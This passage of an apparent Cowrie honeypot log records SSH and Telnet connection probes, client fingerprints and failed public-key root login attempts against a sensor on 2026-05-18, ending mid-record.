{"eventid":"cowrie.session.connect","src_ip":"209.141.57.35","src_port":45534,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2936fe327dc","protocol":"ssh","message":"New connection: 209.141.57.35:45534 (10.17.0.5:22) [session: f2936fe327dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.072426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.076872Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.145763Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:84:d4:34:a3:80:f4:01:31:09:90:8f:b6:8e:96:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGL4yTcQc+E6/reWMFI3CqSRxN08Pt4r5QnHI0VT2t8u3fillzJI08WZadafALhbjXrwYBtwkzljq7JFvPkHKzPKgQ4Iq5S9/8Gp5/d+qbq6p6o7mvoaql3RHl7ZLnqoOp0Z6SJhvvylK4abyarQCVZ83HCrhdVj3KSzdj9C2EVgsnUY0FE0hRoZgaN33iDGkSADub9Ml0RzvkKBsivzJ0w+ehCGajL8NPFIiHfn4SWtvJb0iyCtrZVGPeYwrIqxyWS3gZH5kdkYi/XOOPYLyPEZEpiVRbG99MuCk6pQeR63oHGq2YVj3mA4xa7Kbo4rrEH/c88A1DhqyrLcThDdtl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:84:d4:34:a3:80:f4:01:31:09:90:8f:b6:8e:96:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.464464Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:84:d4:34:a3:80:f4:01:31:09:90:8f:b6:8e:96:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGL4yTcQc+E6/reWMFI3CqSRxN08Pt4r5QnHI0VT2t8u3fillzJI08WZadafALhbjXrwYBtwkzljq7JFvPkHKzPKgQ4Iq5S9/8Gp5/d+qbq6p6o7mvoaql3RHl7ZLnqoOp0Z6SJhvvylK4abyarQCVZ83HCrhdVj3KSzdj9C2EVgsnUY0FE0hRoZgaN33iDGkSADub9Ml0RzvkKBsivzJ0w+ehCGajL8NPFIiHfn4SWtvJb0iyCtrZVGPeYwrIqxyWS3gZH5kdkYi/XOOPYLyPEZEpiVRbG99MuCk6pQeR63oHGq2YVj3mA4xa7Kbo4rrEH/c88A1DhqyrLcThDdtl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.468183Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:76:be:62:c7:32:0d:e0:0d:81:00:cd:fa:f7:7c:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwfemPQBNgsWSgiIlklErA/1ZsQllVoGzWcx3WNURMXvuDruEpjymGkyMDPHEg+0vsBiai0UxZ4/wVn6FSz9HlT5xfbPa8xpZOB88Y7LWUTKFqyyFqT2UdExgWgRB5NxLlB0ZqZSBkP8M0zWqTsZfiYY+WGOywouRffUhI7M6IM6IL5rkePO3Xo5hdLv5bvAgtGZ3gQvYl8Oh8tXWfovcehTILqeNR4CetitoSakyqgRPXCfJE1svD5uD7eD1iakdS4yII/PmT34RtfQ6mO2YkcD/XOMn3oSJ4Ef0Br5sIgS+zBdpcEIH4rz7WzQnjU9X7SYRHJDO5BddsaUo5/35zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:76:be:62:c7:32:0d:e0:0d:81:00:cd:fa:f7:7c:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.536804Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:76:be:62:c7:32:0d:e0:0d:81:00:cd:fa:f7:7c:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwfemPQBNgsWSgiIlklErA/1ZsQllVoGzWcx3WNURMXvuDruEpjymGkyMDPHEg+0vsBiai0UxZ4/wVn6FSz9HlT5xfbPa8xpZOB88Y7LWUTKFqyyFqT2UdExgWgRB5NxLlB0ZqZSBkP8M0zWqTsZfiYY+WGOywouRffUhI7M6IM6IL5rkePO3Xo5hdLv5bvAgtGZ3gQvYl8Oh8tXWfovcehTILqeNR4CetitoSakyqgRPXCfJE1svD5uD7eD1iakdS4yII/PmT34RtfQ6mO2YkcD/XOMn3oSJ4Ef0Br5sIgS+zBdpcEIH4rz7WzQnjU9X7SYRHJDO5BddsaUo5/35zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.540493Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:f2:c0:5e:d9:2b:50:41:33:dd:bb:1a:cf:c1:26:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAp06DCVc4KSfdy/sKyDmOGElKZgTOmKciEeLxuiHqV7asIz2Ohu+1CpqOR5XWXK6NK7DnFJXEaJx+DyLwr1n3bU3lZyiKOwoXC/cCo7eGDSct20ngTkDfWoHb881mRm9rqHiQOvx4iA6cGCxZBgv/C5nYSACTx3jRW9QDizpvoaySStdi3ayLc1mUVZd72AXFOrpAWlKozbm6YNn0XdMj59aYkrOn+423QHjH9qjI6EoWDbKttaK2TYOeURpn3UeDNLmVtfy4zd6A3OF17tZgmIt8RK5hNWITyrKGDq0JubZQZeEx4tzl7owTPgyr0yTbonfbmDJu48OLZroBcGLxWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:f2:c0:5e:d9:2b:50:41:33:dd:bb:1a:cf:c1:26:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.612386Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:f2:c0:5e:d9:2b:50:41:33:dd:bb:1a:cf:c1:26:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAp06DCVc4KSfdy/sKyDmOGElKZgTOmKciEeLxuiHqV7asIz2Ohu+1CpqOR5XWXK6NK7DnFJXEaJx+DyLwr1n3bU3lZyiKOwoXC/cCo7eGDSct20ngTkDfWoHb881mRm9rqHiQOvx4iA6cGCxZBgv/C5nYSACTx3jRW9QDizpvoaySStdi3ayLc1mUVZd72AXFOrpAWlKozbm6YNn0XdMj59aYkrOn+423QHjH9qjI6EoWDbKttaK2TYOeURpn3UeDNLmVtfy4zd6A3OF17tZgmIt8RK5hNWITyrKGDq0JubZQZeEx4tzl7owTPgyr0yTbonfbmDJu48OLZroBcGLxWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.616132Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:cf:b1:46:6b:27:58:aa:47:c5:33:98:48:31:df:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA6DKvLe85nmxCEQd4v9c+59Mj5tctGqOdt4BbbLdS+wgXqjhpv2UmqXsBTkXi8U4lbOz2/Ni2unRNZ4thZFlHphv8N/V3zWIa91wbV+Leo+5Tf2N9LnpDFUnPE9zzYoH+ll72DtZ7dKTQFztJma69xyuiXc9+muJbsTd36fa+VGrSD+JhL+nKQJ8c3Oxp15p+yjcQqYi0GKe8dcquRucF8X/3jXXaylrNADSSHLBT3faP26w/joccLTFWjD03jxVXbZ6Bdn/XIPZ53Zb7bogh5KkQdra3S7gT5Cmyjrvw31Z400IJRtVeVtbs+7SePFmfA6mU3pBuKL8PAVBJ2nfx1RKvWaKYssJu+N9Ohqwi/RRr5Ibw5RaEuqH37+wyQamY3pISxNpEllsSPsn6UVYuycVeqpte7ngkWkvF/upSKqyAb0QgqgJdNaMqpoWsNWMHUc6HTiuVHfsKrCszzvoJzecR0pWo3Krq6SGA/5wZVgRWQ1g5wWeg9PXLPRzfkg3cuf1ZFmEX4MbFQ7Picl/093v2yHZhSMVArEkm37alM18v2rfwm8xFFsEaTxadUYKTS5OnBkFck4bFreqP8doYa+Qz8q2c3PKJy0c+vD9bUjkeoGc9Y09NR9DV+iRfodWbn3N++sPbdSs6IgstqUCEsbDUjdZHE1298kJAKL5oHG8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:cf:b1:46:6b:27:58:aa:47:c5:33:98:48:31:df:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.685230Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:cf:b1:46:6b:27:58:aa:47:c5:33:98:48:31:df:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA6DKvLe85nmxCEQd4v9c+59Mj5tctGqOdt4BbbLdS+wgXqjhpv2UmqXsBTkXi8U4lbOz2/Ni2unRNZ4thZFlHphv8N/V3zWIa91wbV+Leo+5Tf2N9LnpDFUnPE9zzYoH+ll72DtZ7dKTQFztJma69xyuiXc9+muJbsTd36fa+VGrSD+JhL+nKQJ8c3Oxp15p+yjcQqYi0GKe8dcquRucF8X/3jXXaylrNADSSHLBT3faP26w/joccLTFWjD03jxVXbZ6Bdn/XIPZ53Zb7bogh5KkQdra3S7gT5Cmyjrvw31Z400IJRtVeVtbs+7SePFmfA6mU3pBuKL8PAVBJ2nfx1RKvWaKYssJu+N9Ohqwi/RRr5Ibw5RaEuqH37+wyQamY3pISxNpEllsSPsn6UVYuycVeqpte7ngkWkvF/upSKqyAb0QgqgJdNaMqpoWsNWMHUc6HTiuVHfsKrCszzvoJzecR0pWo3Krq6SGA/5wZVgRWQ1g5wWeg9PXLPRzfkg3cuf1ZFmEX4MbFQ7Picl/093v2yHZhSMVArEkm37alM18v2rfwm8xFFsEaTxadUYKTS5OnBkFck4bFreqP8doYa+Qz8q2c3PKJy0c+vD9bUjkeoGc9Y09NR9DV+iRfodWbn3N++sPbdSs6IgstqUCEsbDUjdZHE1298kJAKL5oHG8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.689122Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:a0:2b:fb:70:c9:e5:63:dd:8f:f6:9e:31:99:b3:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8KXEZKIa4u9egVsGNCDaw+zO9p+HKchC2+cdZJ/oYA7TTPrUX/1bC5dYvPyfoJvL6pAxamhwlt3bceTz/ztfcQ5pbDRj9DuRJ451p4nz74ABSJGSlEVKfpkybKIFp+PvWFYOOSzl2MrqVnmkFZBw/9GBPx/89QHvg4Id/yEePi3FKCgEAdCDF0oLTqkyfddr0/XQ0HCkfIJHf2yQ5BeDCn6qEoSle7Z7IJjNl0AuG1blsMEKDMPGQGd4LkfSFGBc4VIXFYOlB2qhbQ+NbTxnXoZtXEbynQGIflIZ+TpnwVho+1n5O/NxC6QYEplLzreQyZlpoJOgJwCPMLvqv54DN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:a0:2b:fb:70:c9:e5:63:dd:8f:f6:9e:31:99:b3:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.757574Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:a0:2b:fb:70:c9:e5:63:dd:8f:f6:9e:31:99:b3:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8KXEZKIa4u9egVsGNCDaw+zO9p+HKchC2+cdZJ/oYA7TTPrUX/1bC5dYvPyfoJvL6pAxamhwlt3bceTz/ztfcQ5pbDRj9DuRJ451p4nz74ABSJGSlEVKfpkybKIFp+PvWFYOOSzl2MrqVnmkFZBw/9GBPx/89QHvg4Id/yEePi3FKCgEAdCDF0oLTqkyfddr0/XQ0HCkfIJHf2yQ5BeDCn6qEoSle7Z7IJjNl0AuG1blsMEKDMPGQGd4LkfSFGBc4VIXFYOlB2qhbQ+NbTxnXoZtXEbynQGIflIZ+TpnwVho+1n5O/NxC6QYEplLzreQyZlpoJOgJwCPMLvqv54DN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.760378Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:54:49.827988Z","src_ip":"209.141.57.35","session":"f2936fe327dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef0954da68a8","protocol":"telnet","message":"New connection: 152.42.224.71:44554 (10.17.0.5:23) [session: ef0954da68a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:05.401118Z"}
{"eventid":"cowrie.session.closed","duration":98.39058804512024,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:05.643096Z","src_ip":"152.42.224.71","session":"ec9095730277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40822,"dst_ip":"10.17.0.5","dst_port":23,"session":"33bf8e5bd88a","protocol":"telnet","message":"New connection: 152.42.224.71:40822 (10.17.0.5:23) [session: 33bf8e5bd88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:19.383206Z"}
{"eventid":"cowrie.session.closed","duration":58.339943647384644,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:22.969178Z","src_ip":"152.42.224.71","session":"99d695c9e52a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53107,"dst_ip":"10.17.0.5","dst_port":22,"session":"f77c97913c86","protocol":"ssh","message":"New connection: 152.42.212.128:53107 (10.17.0.5:22) [session: f77c97913c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:51.469436Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:51.473641Z","src_ip":"152.42.212.128","session":"f77c97913c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:51.476707Z","src_ip":"152.42.212.128","session":"f77c97913c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53212,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda2ddc9e0e6","protocol":"telnet","message":"New connection: 152.42.224.71:53212 (10.17.0.5:23) [session: bda2ddc9e0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:52.902699Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":48832,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2527633bf1","protocol":"ssh","message":"New connection: 209.90.232.249:48832 (10.17.0.5:22) [session: ab2527633bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.273171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.279498Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.354389Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:3a:b7:39:7a:96:c1:2b:4e:bd:52:ae:7b:e0:da:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7NotZu9aXUN8Y2W01+nMLY55QmMLei0FOJNZdltba6gdqwcC7tA37T4JpcZe8C1qWJAlbhwEZwAve4TbuYW0dC8XQq8EekKMzYZ+ApfSq/B3AgefATo6i0fID1P4X+YI9AvxoM5C4t8+w+jDxeTwfmS78dMXDSqic2+oyp/5EHZJmRWbBs8T6xJprOREeCiSkR+3g3NVCK40ivscHnvvKg7Xmj1L4j5f1G3fRCd04rJ59kIdYfzq1SjO3ohdG6d3fgu4cQhLn8njq2v3FbO1CaQPYFYs02ytWOyKQUfb3UWbHm9ooS8w3jJFOwB4seNjD9OKGT3kObmEmiDOW8cJr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:3a:b7:39:7a:96:c1:2b:4e:bd:52:ae:7b:e0:da:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.692188Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:3a:b7:39:7a:96:c1:2b:4e:bd:52:ae:7b:e0:da:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7NotZu9aXUN8Y2W01+nMLY55QmMLei0FOJNZdltba6gdqwcC7tA37T4JpcZe8C1qWJAlbhwEZwAve4TbuYW0dC8XQq8EekKMzYZ+ApfSq/B3AgefATo6i0fID1P4X+YI9AvxoM5C4t8+w+jDxeTwfmS78dMXDSqic2+oyp/5EHZJmRWbBs8T6xJprOREeCiSkR+3g3NVCK40ivscHnvvKg7Xmj1L4j5f1G3fRCd04rJ59kIdYfzq1SjO3ohdG6d3fgu4cQhLn8njq2v3FbO1CaQPYFYs02ytWOyKQUfb3UWbHm9ooS8w3jJFOwB4seNjD9OKGT3kObmEmiDOW8cJr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.695936Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:e2:b9:35:20:42:a9:e0:8e:87:e0:56:c8:32:9a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Hf6L3SwOH8ryY64qCRl90gSnKA9hPh/Ai/T/Fu16+PnmAsEb6anWEJSogZfovsLI3ofLNbJmaxJp5ZV272iuB1fWzaOA9dTFAWXPqGbdDpmsNVSlYljgQPAJDsHkHmopKvvsSG9tXiTISlP4Ul704cttPYk27/1qCLC83y0JLomgGn7juEDXd9aw3jtJ5GT7mv3RbSb3BKcZN43Vx+PiUffG2ag2q14PB/gkp8CKh4QRK1/7rwFpSM89IyJyZQ69GdNL49u4tRWo/+l+nc1IDnGayNR58JRpF+/Sp/IMtiJ8RW0SIFMNfKGJIoqikJbjWgfaDz0KiYvMDrga1P17","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:e2:b9:35:20:42:a9:e0:8e:87:e0:56:c8:32:9a:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.772432Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:e2:b9:35:20:42:a9:e0:8e:87:e0:56:c8:32:9a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Hf6L3SwOH8ryY64qCRl90gSnKA9hPh/Ai/T/Fu16+PnmAsEb6anWEJSogZfovsLI3ofLNbJmaxJp5ZV272iuB1fWzaOA9dTFAWXPqGbdDpmsNVSlYljgQPAJDsHkHmopKvvsSG9tXiTISlP4Ul704cttPYk27/1qCLC83y0JLomgGn7juEDXd9aw3jtJ5GT7mv3RbSb3BKcZN43Vx+PiUffG2ag2q14PB/gkp8CKh4QRK1/7rwFpSM89IyJyZQ69GdNL49u4tRWo/+l+nc1IDnGayNR58JRpF+/Sp/IMtiJ8RW0SIFMNfKGJIoqikJbjWgfaDz0KiYvMDrga1P17","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.777044Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:0f:25:7c:c8:b0:b5:e2:58:7b:a1:80:ed:06:7a:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC46jh3WjrsdsDM7oSyhuPBjfnxyZh3rNCsMuPVxyZf701my+Va78cyx34erbO1HfS433CXALiJ57buz3S56K/Bz29D2G11ONnfNSolWsBJTgEJPteoWrKNBFLG2PNw28F6WcLQep45ceLKTuk5JltCUjEuJfx0AuKP5qN3ekRLqx2ZgamPZ4lSQhbtuo6Ot/eW04y7ZjM8p0kS9A09wUmu4MST4KxG4UIWImjQNPAj9e8n+hZVnEV9tF98NvXHubrBVHAnaxTPeyBSObPgNOElMwK9uQexTJd4oszGy5mmMXVbFoNJdJ7IZp5EY0vBpry43N6qH4h0ee7DIfJILoYyQxHyWcbejKqdlPF4IeZlFjwM609FyYkByeKJv1KG2R01fda/SHMXn0RAVafEjzMmsZU8lyqFRK8oET8iO+SbJd2TLy8BCpLDnXI9GSbo5acfKPCa0qC2xJheXFLyTM2bXNyLwhMuhUEIz60/E1TjqfTRs2XL1M+nHqgS1RR0RvM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 